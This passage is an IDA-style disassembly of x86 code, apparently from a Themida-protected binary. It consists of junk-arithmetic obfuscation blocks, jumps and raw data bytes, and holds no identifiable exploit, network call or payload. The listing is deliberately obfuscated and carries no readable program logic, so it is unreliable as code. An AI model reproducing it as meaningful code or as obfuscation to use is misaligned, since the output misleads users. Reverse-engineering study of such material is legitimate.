		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5122E2:				; CODE XREF: Themida_:00516F9Aj
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_518F96
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0ED8104E5h, 0E6CCD45Ch, 25E2EA81h, 0EA01089Fh, 25E2C281h
		dd 0E95D089Fh, 6221h, 0E9565F5Ah, 0FFFFE9B5h, 24248B66h
		dd 0FFD3E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512329:				; CODE XREF: Themida_:0051929Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_510179
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1A2D6824h, 0C890000h, 4EC8124h, 89000000h, 4812424h
		dd 424h, 25D0E900h, 0F3010001h,	0DD86E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_512362:				; CODE XREF: Themida_:00519562j
		push	ebx
		mov	ebx, 468716F5h
		neg	ebx
		neg	ebx
		sub	ebx, 450A22ABh
		jmp	loc_512D88
; ---------------------------------------------------------------------------

loc_512377:				; CODE XREF: Themida_:0051F15Aj
		pop	edi
		jmp	loc_51D182
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 0EAh
		dd offset dword_4A105C+58Dh
		dd 1EA8000h, 5AD43059h,	0E9E58851h, 0B01Eh, 0BE243489h
		dd 4, 6B0BEF81h, 0F70104C6h, 461ABA52h,	8DE93DB9h, 0B8000013h
		dd 47595CC4h, 9438CB35h, 58C12943h, 241CF751h, 592434FFh
		dd 4C481h, 56E90000h, 5B000057h, 8B24048Fh, 4872424h, 24248B24h
		dd 24048966h, 0FFD327E9h, 4E2C1FFh, 0EA81E2D1h,	0BBAEFCC2h
		dd 535A5852h, 2412E9h, 8212D00h, 44E91156h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_512403:				; CODE XREF: Themida_:0051C841j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_512420:				; CODE XREF: Themida_:0051F81Cj
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5192F3
; ---------------------------------------------------------------------------

loc_512433:				; CODE XREF: Themida_:0051DAA1j
		push	dword ptr [esp]
		jmp	loc_5171D4
; ---------------------------------------------------------------------------
		db 54h
		dd 6824048Fh, 6BA8h, 0B1EDE9h, 0C7F18100h, 8948288Eh, 240C8BCAh
		dd 4C481h, 0F2310000h, 0C844E9h, 4EC8100h, 89000000h, 4BA2414h
		dd 81000000h, 0B766E2C6h, 0E9D60152h, 477Ch, 2D0DB850h
		dd 0DA0D2722h, 2D3C7A6Ah, 0D7AE086Ah, 408E9h, 24048900h
		dd 3638E9h, 0FED6F600h,	80D6F6CEh, 91E932E6h, 680000D4h
		dd 4C09h, 68240C89h, 37316A04h,	592434FFh, 4C481h, 0F1810000h
		dd 3C353C09h, 0D989E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5124CA:				; CODE XREF: Themida_:00521611j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	1DDBh
		mov	[esp], ecx
		push	esi
		push	8D55693h
		jmp	loc_51253A
; ---------------------------------------------------------------------------

loc_5124FC:				; CODE XREF: Themida_:00519216j
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 0E904C283h, 0B4A3h
; ---------------------------------------------------------------------------

loc_512518:				; CODE XREF: Themida_:00522C20j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5103D3
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 8904EC83h, 4AB42404h, 11D4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51253A:				; CODE XREF: Themida_:005124F7j
		pop	esi
		dec	esi
		inc	esi
		push	ecx
		mov	ecx, 0F72AA971h
		add	esi, ecx
		pop	ecx
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 774830CBh
		add	edx, 1F0E10ADh
		add	edx, 67BB6957h
		add	edx, ecx
		jmp	loc_5164FB
; ---------------------------------------------------------------------------

loc_51256A:				; CODE XREF: Themida_:00514373j
		mov	edi, 4E1F1780h
		inc	edi
		shr	edi, 7
		add	edi, 64601AB6h
		jmp	loc_51FB5D
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0FFD20CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512589:				; CODE XREF: Themida_:00516A25j
		neg	ebx
		and	ebx, 53216CA8h
		xor	ebx, 6424h
		jmp	loc_52104A
; ---------------------------------------------------------------------------
		dd 0DE89EB89h, 0CE295D5Bh, 81240C8Bh, 4C4h, 2E2F2D00h
		dd 0F0010BE1h, 0E12E2F05h, 24348B0Bh, 504C483h,	4, 31240433h
		dd 4332404h, 24248B24h,	8B2434FFh, 54502404h, 0E924048Bh
		dd 8446h, 3F27E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5125E6:				; CODE XREF: Themida_:00518204j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 2CFB2E18h
		xor	edx, 7B660379h
		jmp	loc_50FA9A
; ---------------------------------------------------------------------------

loc_512603:				; CODE XREF: Themida_:005106C2j
		pop	ecx
		jmp	loc_51BD54
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 59h
		dd 2C8BEE01h, 4C48124h,	0E9000000h, 51E9h
; ---------------------------------------------------------------------------

loc_51261C:				; CODE XREF: Themida_:0051DEC9j
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_519459
; ---------------------------------------------------------------------------
		dw 0C8Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_521602
; ---------------------------------------------------------------------------

loc_512639:				; CODE XREF: Themida_:00514C5Ej
		mov	edi, 3F0304B1h
		xor	edi, 48143043h
		add	edi, 30F04A35h
		add	edi, 709D72E4h
		jmp	loc_51F152
; ---------------------------------------------------------------------------

loc_512655:				; CODE XREF: Themida_:0051D70Aj
		pop	esp
		push	19DDh
		mov	[esp], esi
		push	ecx
		mov	ecx, 800h
		push	edx
		mov	edx, ecx
		mov	esi, edx
		jmp	loc_510997
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 3BE958C2h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51267B:				; CODE XREF: Themida_:00521D71j
		mov	ebx, 0E365D854h
		add	ebx, 4C391CBCh
		add	ebx, eax
		sub	ebx, 4C391CBCh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_511701
; ---------------------------------------------------------------------------

loc_512699:				; CODE XREF: Themida_:0050FE06j
		mov	esi, 3AD9109Dh
		add	ecx, 1D7B00C0h
		add	ecx, esi
		sub	ecx, 1D7B00C0h
		pop	esi
		push	dword ptr [esp]
		jmp	loc_51D6F9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81240C8Bh, 4C4h, 4C48100h, 87000000h, 72E9243Ch, 0B1FFFFE0h
		dd 59CF200Dh, 8055B252h, 0D720BFEAh, 21C7805Ah,	0C05BFC28h
		dd 0E4C005E4h, 8E4C007h, 0E952DCF6h, 9F86h
; ---------------------------------------------------------------------------

loc_5126F4:				; CODE XREF: Themida_:0051E61Dj
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5237AF
; ---------------------------------------------------------------------------
		dd 7FCF68h, 24048900h, 520569B8h, 58C22966h, 2BD555Bh
		dd 81000000h, 0A94737C2h, 51EA014Fh, 0F40C67B9h, 5E1C133h
		dd 4D38E181h, 0E1C1327Ch, 0AFF3E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51273E:				; CODE XREF: Themida_:00522011j
		push	7238h
		push	esp
		jmp	loc_51749C
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
		dd 0FCE9FE01h, 54000011h, 3841E9h
		db 0
; ---------------------------------------------------------------------------

loc_512759:				; CODE XREF: Themida_:0050FDBFj
		mov	ecx, 22C828B5h
		sub	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5107F9
; ---------------------------------------------------------------------------
		dd 105h, 52EB0500h, 0C3310580h,	4FF38158h, 1643753h, 6B70E9DDh
		dd 4BD0000h, 1000000h, 0FAFDE9EBh, 0E1C10000h, 4FC5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51279E:				; CODE XREF: Themida_:00524033j
		xor	ecx, 3EED31B3h
		sub	ecx, 5F6022D6h
		add	ecx, edi
		push	edx
		jmp	loc_52123B
; ---------------------------------------------------------------------------

loc_5127B2:				; CODE XREF: Themida_:0051B701j
		pop	eax
		jmp	loc_51E0B3
; ---------------------------------------------------------------------------
		dd 51241C8Bh, 0D558E9h,	66BA5200h, 0E925DF09h, 267Eh
; ---------------------------------------------------------------------------

loc_5127CC:				; CODE XREF: Themida_:0051A54Fj
		xor	edi, 0FB479ACDh
		add	ebx, edi
		pop	edi
		or	ebx, 40F55DEAh
		add	ebx, 0AD004015h
		mov	eax, ebx
		jmp	loc_5140DC
; ---------------------------------------------------------------------------
		dd 0AEBF5752h, 8115976Eh, 976EACF7h, 0E9FA8915h, 0F347h
		dd 0D412E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512802:				; CODE XREF: Themida_:00524574j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_518AE3
; ---------------------------------------------------------------------------
		dd 4240481h, 5A000000h,	2A22E9h
		db 0
; ---------------------------------------------------------------------------

loc_51281D:				; CODE XREF: Themida_:005227E1j
		xor	[esp], edx
		jmp	loc_515A6B
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 0E9000000h, 0FFFFEE97h, 291AE068h, 0E8E95A20h, 51000057h
		dd 7F38F5B9h, 0ADC98179h, 81281977h, 0D64A99C1h, 0E9814143h
		dd 99689F61h, 3635C681h, 0CE0139BAh, 3635EE81h,	0C15939BAh
		dd 0FF5605EEh, 815E240Ch, 5B55A9EEh, 5FEE8170h,	52F130Bh
		dd 2072358h, 0F1E9F001h, 81FFFFF8h, 0D516FBC2h,	5AD0899Fh
		dd 2966E9h, 18B05000h, 0D66CE9h, 0E9C52100h, 86h
; ---------------------------------------------------------------------------

loc_5128A0:				; CODE XREF: Themida_:005132D8j
		movzx	eax, al
		jmp	loc_519A10
; ---------------------------------------------------------------------------

loc_5128A8:				; CODE XREF: Themida_:00516BA2j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	6F29h
		mov	[esp], edx
		push	ebx
		mov	ebx, 500E784Fh
		not	ebx
		jmp	loc_5104D3
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 53C8B60Fh, 0FFF7FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5128DD:				; CODE XREF: Themida_:00522E41j
		shl	ebx, 2
		jmp	loc_52109E
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0F6h
		dd 6E7E6274h, 1443E953h, 0B9660000h, 816630D1h,	6671D8C9h
		dd 6602E9C1h, 2B36E981h, 0FF665166h, 59662404h,	54CDE9h
		dd 81D2F700h, 0EC953C2h, 5AD6015Fh, 0EC83EE29h,	34DFE904h
		dd 81580000h, 0F27DCDCDh, 8FE0E96Fh, 0E9540000h, 2519h
		dd 924E1ABFh, 60E95230h, 100006Bh, 34E95BDDh, 0BE000015h
		dd 380A4161h, 154CC681h, 0E9813B1Eh, 123B7326h,	92E9F129h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_512963:				; CODE XREF: Themida_:0051229Dj
		add	ebp, 94448091h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50FD8E
; ---------------------------------------------------------------------------
		db 66h
		dd 8324148Bh, 0A3E902C4h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512987:				; CODE XREF: Themida_:0051BADDj
		pop	dword ptr [esp]
		jmp	loc_519C1D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 5EDC15Ch, 3A14F581h
		dd 0EF8103C3h, 7DCE3589h, 0C781EF01h, 7DCE3589h, 74FF575Dh
		dd 8F5F0424h, 0E95C2404h, 434Ch, 0D97C7FB9h, 1DE98111h
		dd 8906E141h, 240C8BCEh, 0FD8EE9h, 90B55100h, 0F580CDFEh
		dd 59EA2873h, 10635E9h,	2B7FBA00h, 0E2C16CA0h, 0F2E95302h
		dd 56000041h, 8E500DBEh, 6EE8172h, 0E95F9335h, 0FFFFD32Ch
		dd 14FE685Eh, 0C890000h, 24B924h, 0B8500000h, 70D910C9h
		dd 158C601h, 22E951CEh
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_512A2B:				; CODE XREF: Themida_:0051E0A4j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_51E35E
; ---------------------------------------------------------------------------

loc_512A3E:				; CODE XREF: Themida_:005222CEj
		mov	[esp], edi
		push	esi
		sub	dword ptr [esp], 3E7068FDh
		pop	edi
		add	edi, 3E7068FDh
		push	2B4Dh
		mov	[esp], edi
		xor	dword ptr [esp], 44881649h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51548F
; ---------------------------------------------------------------------------
aMhK		db '¬h^k',0
		align 2
		dw 1C89h
		dd 0B5515024h, 0E9C5FEC8h, 430Eh, 0C1E95A54h
		db 0Ch,	1, 0
; ---------------------------------------------------------------------------

loc_512A8B:				; CODE XREF: Themida_:00512CF7j
		and	esi, 5AEC61AAh
		not	esi
		add	esi, 0D71BDB29h
		sub	ebp, esi
		pop	esi
		push	edi
		mov	edi, ebp
		jmp	loc_516C7F
; ---------------------------------------------------------------------------
		dd 7FF46866h, 0EEFCE9h,	2916B800h, 0E8C15D08h, 0E8D14005h
		dd 37E168h, 1B7E900h, 0C5810001h, 73D85783h, 139CC581h
		dd 0C5015470h, 139CED81h, 0ED815470h, 73D85783h, 242C8758h
		dd 1333E9h, 48B6600h, 55B16824h, 1C890000h, 815B5424h
		dd 4C3h, 3ABC6800h, 0C890000h, 0E9575024h, 0D94Bh, 4BA52h
		dd 0D1010000h, 4EC815Ah, 89000000h, 0B3B82404h,	683CA650h
		dd 37FFh, 0E9242C89h, 18CDh, 1D3FDD05h,	639D050Ah, 0B62D0FBFh
		dd 0FF61B979h, 835D2434h, 20504C4h, 33000000h, 4312404h
		dd 24043324h, 2CD3665Ch, 0B1E99C24h, 68FFFFCBh,	273E7BE1h
		dd 5F2434FFh, 4C481h, 814F0000h, 0C18E5DC7h, 5FF88904h
		dd 0E512F625h, 0E0354828h, 891EDD61h, 0ED8158C5h, 530A5556h
		dd 0C581FD01h, 530A5556h, 0FFFA4BE9h, 82CD81FFh, 811A7C12h
		dd 0A62057EDh, 49C58104h, 31058844h, 242C8BE8h,	104C483h
		dd 685258C3h, 2, 12EB815Ah, 15AE525h, 12C381D3h, 0E95AE525h
		dd 0F60Ch, 4C4815Ah, 68000000h,	47C8h, 0A188E9h, 40DABD00h
		dd 0CD816131h, 3DA37031h, 0FFDD51E9h, 24348BFFh, 8704C483h
		dd 0D35C2414h, 0E99C242Ch, 0FFFFCB0Ch, 0E9240C89h, 54F7h
		dd 595BDE89h, 525EF101h, 4BAh, 5AD10100h, 81E68956h, 4C6h
		dd 4EE8100h, 56000000h,	42474FFh, 8324348Bh, 48F04C4h
		dd 0C895C24h, 2474FF24h, 8709E904h, 685F0000h, 3833h, 81243489h
		dd 4ECh, 241C8900h, 11FA4E9h, 7E2C000h,	4EC8153h, 89000000h
		dd 0E952240Ch, 9289h
; ---------------------------------------------------------------------------

loc_512C6C:				; CODE XREF: Themida_:005113A5j
		shl	edx, 6
		neg	edx
		xor	edx, 19A46730h
		mov	eax, edx
		pop	edx
		push	esi
		mov	esi, 73A077C6h
		add	eax, esi
		pop	esi
		sub	eax, 0FFFFFFFFh
		not	eax
		not	eax
		not	eax
		push	764Ch
		jmp	loc_519286
; ---------------------------------------------------------------------------
		dw 2966h
		dd 0C28166CAh, 6EE919B7h, 0FFFFFFF1h, 815A2434h, 4C4h
		dd 2434FF00h, 8324148Bh, 0C48104C4h, 4,	1AE0C281h, 45E92029h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512CC7:				; CODE XREF: Themida_:005166E0j
		add	esp, 4
		sub	esi, edi
		pop	edi
		jmp	loc_510976
; ---------------------------------------------------------------------------

loc_512CD5:				; CODE XREF: Themida_:0051A68Fj
		push	ebp
		push	58857CA9h
		pop	ebp
		sub	ebp, 69724895h
		push	esi
		mov	esi, 2A9E2DA8h
		shl	esi, 4
		or	esi, 3A576BB7h
		sub	esi, 8786ED9h
		jmp	loc_512A8B
; ---------------------------------------------------------------------------
		dd 4C481h, 53430000h, 1240483h,	0E1C3815Bh, 0E925A7A6h
		dd 599Ch
; ---------------------------------------------------------------------------

loc_512D14:				; CODE XREF: Themida_:00521A7Dj
		push	eax
		jmp	loc_520122
; ---------------------------------------------------------------------------

loc_512D1A:				; CODE XREF: Themida_:0051BF76j
		add	ecx, 4
		jmp	loc_51B331
; ---------------------------------------------------------------------------

loc_512D22:				; CODE XREF: Themida_:00512EB3j
		mov	esi, 5073000Eh
		xor	ebx, esi
		pop	esi
		push	esi
		push	ecx
		jmp	loc_51F3C2
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFFAF7E9h, 0CD0F6FFh, 24F60445h, 4D0F69Dh, 476CE976h
		dd 0EA810000h, 1FC6062Bh, 0EAE9D031h, 0B3FFFFEEh, 31E38079h
		dd 8006EBC0h, 0E380FFC3h, 0FFC3800Ch, 8096B551h, 0C580E0CDh
		dd 59EB3058h, 54DCE9h, 0C7815C00h, 4, 0E9E08950h, 0D37Fh
; ---------------------------------------------------------------------------

loc_512D88:				; CODE XREF: Themida_:00512372j
		shr	ebx, 7
		not	ebx
		sub	ebx, 8BC6D8C9h
		jmp	loc_51B276
; ---------------------------------------------------------------------------
		dd 0E904C683h, 0A94h
; ---------------------------------------------------------------------------

loc_512DA0:				; CODE XREF: Themida_:00517269j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_51DA07
; ---------------------------------------------------------------------------

loc_512DB3:				; CODE XREF: Themida_:005180BFj
		mov	[esp], esp
		jmp	loc_50FCB9
; ---------------------------------------------------------------------------
		db 80h
		dd 6853DCC5h, 6919h, 0E9241489h, 0FFFFDD91h, 0E9C0C1FEh
		dd 0E6F18008h, 0C8BCB00h, 0E306E924h, 575BFFFFh, 0BFh
		dd 89EF2900h, 15E95FFDh
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_512DEF:				; CODE XREF: Themida_:0051E54Fj
		mov	esi, 66C94F1Eh
		sub	ebx, esi
		pop	esi
		shr	ebx, 1
		shl	ebx, 7
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		sub	ebx, ebp
		jmp	loc_518681
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 0A576E900h,	0C3810000h, 4, 2474FF53h, 31E95B04h
		dd 1FFFFF0h, 8104246Ch,	9804246Ch, 5D42C964h, 582434FFh
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 8904EC83h, 0E950242Ch
		dd 0FFFFF22Bh, 0BD242C89h, 0FFFFFFFFh, 2C8BE829h, 2C766824h
		dd 4890000h, 52E08924h,	814194BAh, 0F7DAF750h, 0FFEA81D2h
		dd 81FFFFFFh, 0D36E6DE2h, 0C2814272h, 0AF7EBFFFh, 525AD001h
		dd 4BAh, 1263E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_512EA2:				; CODE XREF: Themida_:00511EF9j
		mov	ebp, 2A935C50h
		sub	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_524614
; ---------------------------------------------------------------------------

loc_512EB0:				; CODE XREF: Themida_:0051058Fj
		neg	ebx
		push	esi
		jmp	loc_512D22
; ---------------------------------------------------------------------------
		dd 2B040324h, 5366C92Ch, 0FFE4D3E9h, 4895CFFh, 0C83EE924h
		dd 5352FFFFh, 0C38012B3h, 5BDE889Eh, 0F5007FB5h, 0E9EC005Ah
		dd 0F8A6h, 42474FFh, 24048F5Ah,	6624248Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 2F732331h
		sub	edi, 8A32F0Ch
		jmp	loc_51495A
; ---------------------------------------------------------------------------
		db 1
aSk		db 'ÈéKÀ',0
		align 2
aFbVch		db 'fÂVCh"',7,0
		align 4
		dd 66240C89h, 662ABFB9h, 75BE6656h, 0F1316676h,	81665E66h
		dd 6685A7E9h, 19B7EA81h, 0FFFD5DE9h, 5DEB87FFh,	4EC81h
		dd 4890000h, 9B40B824h,	0C381CD92h, 6C9E63ACh, 55EFE9h
		dd 58E33000h, 0B3E9D330h
		db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_512F5F:				; CODE XREF: Themida_:00518443j
		xor	ebx, 0A67D0999h
		add	edx, ebx
		pop	ebx
		pop	ebp
		push	esi
		jmp	loc_50FE98
; ---------------------------------------------------------------------------

loc_512F6F:				; CODE XREF: Themida_:0051B082j
		add	edx, ebx
		add	edx, 0E42157Fh
		pop	ebx
		push	esi
		jmp	loc_51DDB3
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 113943C7h, 8324048Bh, 0E95604C4h, 0FFFFDD7Bh, 410E68h
		dd 24148900h, 0FFD95EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512F9D:				; CODE XREF: Themida_:0052355Bj
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_521051
; ---------------------------------------------------------------------------

loc_512FA8:				; CODE XREF: Themida_:0051B02Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, edx
		push	ebx
		push	dword ptr [esp]
		jmp	loc_5144E5
; ---------------------------------------------------------------------------
		db 68h,	3Bh, 18h
		dd 2C890000h, 4BD24h, 0C1810000h, 5AEF6038h, 5F1DC181h
		dd 0C1813327h, 3E1B774Eh, 17FAE9h, 0C71EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_512FEE:				; CODE XREF: Themida_:00516DF3j
		xchg	edx, [esp]
		pop	esp
		mov	ecx, ebp
		jmp	loc_51FA3D
; ---------------------------------------------------------------------------

loc_512FF9:				; CODE XREF: Themida_:00520CFBj
		mov	[esp], edx
		push	2FCAh
		jmp	loc_523541
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 48682404h, 0E9000009h, 0A6FBh, 3304C483h, 4312404h
		dd 24043324h, 0FFEACCE9h, 66F000FFh, 2CD8005Ah,	0A1B55126h
		dd 806EE580h, 62E991EDh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51303B:				; CODE XREF: Themida_:00516125j
		push	3C684075h
		pop	esi
		xor	ebp, esi
		pop	esi
		neg	ebp
		neg	ebp
		xor	ebp, 72F848AAh
		jmp	loc_51B661
; ---------------------------------------------------------------------------
		db 50h
		dd 371992B8h, 6568BA1Ch, 0C2313FD7h, 8324048Bh,	0EAC104C4h
		dd 81EAD104h, 0FD4897CAh, 0C4F28122h, 10A5E2Ah,	0F8295AD0h
		dd 6133B951h, 0C82929A1h, 6824E9h, 48B6600h, 1B206824h
		dd 1C890000h, 81E38924h, 4ECh, 24348900h, 9C71ACBEh, 40CE8153h
		dd 0C126247Dh, 0EEC108EEh, 0D4B95103h, 0F739D52Dh, 656841D1h
		dd 8900003Dh, 0E5E92404h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5130C7:				; CODE XREF: Themida_:00510A52j
		add	edi, edx
		add	edi, 0AAC470Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_511AEB
; ---------------------------------------------------------------------------

loc_5130E3:				; CODE XREF: Themida_:0051A324j
		push	cx
		jmp	loc_5117BE
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 1C8B0424h, 632C6824h, 3C890000h, 2C92E924h, 14F70000h
		dd 1C355824h, 29567710h, 4569E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51310E:				; CODE XREF: Themida_:0050FC66j
		push	2FC6h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7B3B39D3h
		push	ebx
		push	edx
		mov	edx, 0E48011Bh
		mov	ebx, 4B474394h
		add	ebx, edx
		pop	edx
		inc	ebx
		sub	ebx, 598F44AFh
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51A4EF
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0E9520000h, 17CCh, 0B6E95F52h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_51316F:				; CODE XREF: Themida_:00524D8Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dw 3481h
		dd 0A4631A24h, 24148B3Dh, 4C481h, 0F2810000h, 3DA4631Ah
		dd 7EC38158h, 0E965F56Ah, 5744h, 405h, 0DC23E900h, 0EE81FFFFh
		dd 51D12891h, 0C681C601h, 51D12891h, 4E0DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5131BD:				; CODE XREF: Themida_:005181ACj
		add	edx, 0CDBF025Ch
		sub	esi, 7F8B00D3h
		add	esi, edx
		jmp	loc_51A30B
; ---------------------------------------------------------------------------
		dd 0FF242C89h, 8B042474h, 0C483242Ch, 24048F04h, 5954515Ch
		dd 319BE9h, 0C51EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5131EE:				; CODE XREF: Themida_:005121EDj
		mov	ebx, edx
		jmp	loc_520926
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5237D3
; ---------------------------------------------------------------------------
		dd 59EA2858h, 0FFDE71E9h, 24248BFFh, 6B5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_513221:				; CODE XREF: Themida_:0051862Fj
		pop	ecx
		neg	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_522D8C
; ---------------------------------------------------------------------------
		db 87h
		dd 0D6F72434h, 5F243487h, 1BB53h, 0AFE90000h, 50FFFFD1h
		dd 4BD55h, 0E8890000h, 8E1CE9h,	52E18900h, 4EC81h, 4890000h
		dd 77086824h, 35582528h, 17074664h, 7F64BF57h, 0F8292E68h
		dd 0B108E9h, 4055800h, 83000000h, 48704E8h, 34895C24h
		dd 7F366824h, 2E91558h,	68FFFFCEh, 7E0Ah, 52242489h, 4BAh
		dd 24540100h, 0C8B5A04h, 4C48124h, 81000000h, 4C1h, 4C18300h
		dd 2474FF51h, 48F5904h,	4055C24h, 0E9000000h, 23DBh
; ---------------------------------------------------------------------------

loc_5132C8:				; CODE XREF: Themida_:0051F202j
		sub	bl, 18h
		sub	bl, 0EFh
		add	bl, ch
		add	bl, 0EFh
		add	bl, 18h
		pop	cx
		jmp	loc_5128A0
; ---------------------------------------------------------------------------
aLHo3		db '‹$$h®3',0
		dd 241C8900h, 5CE9E389h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5132EF:				; CODE XREF: Themida_:00514AC0j
		xor	ebp, 651F4E8Ah
		jmp	loc_51A546
; ---------------------------------------------------------------------------
		dw 8759h
		dd 76E9242Ch, 0FFFFFFFAh, 0E7E92434h, 83000002h, 148904ECh
		dd 8197E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513316:				; CODE XREF: Themida_:00511A36j
		shr	eax, 8
		jmp	loc_51C484
; ---------------------------------------------------------------------------

loc_51331E:				; CODE XREF: Themida_:005195E4j
		pop	eax
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_50FA10
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 661Fh, 0CDE930FFh, 66FFFFC3h, 66456C2Dh
		dd 6824348Bh, 4BA0h, 89240489h,	405E0h,	0ECE90000h, 890000C8h
		dd 0D3BD242Ch, 2923645Dh, 0A2E95DE9h, 0B1000018h, 8BCB0069h
		dd 0C481240Ch, 4, 66C0B60Fh, 0E987048Fh, 0FFFFC388h, 6824248Bh
		dd 2F3h, 0BD242C89h, 4,	685DE801h, 14D3h, 0BF243C89h, 2
		dd 34FFF829h, 0E9535F24h, 0FFFFDBE2h, 240C8B66h, 8904EC83h
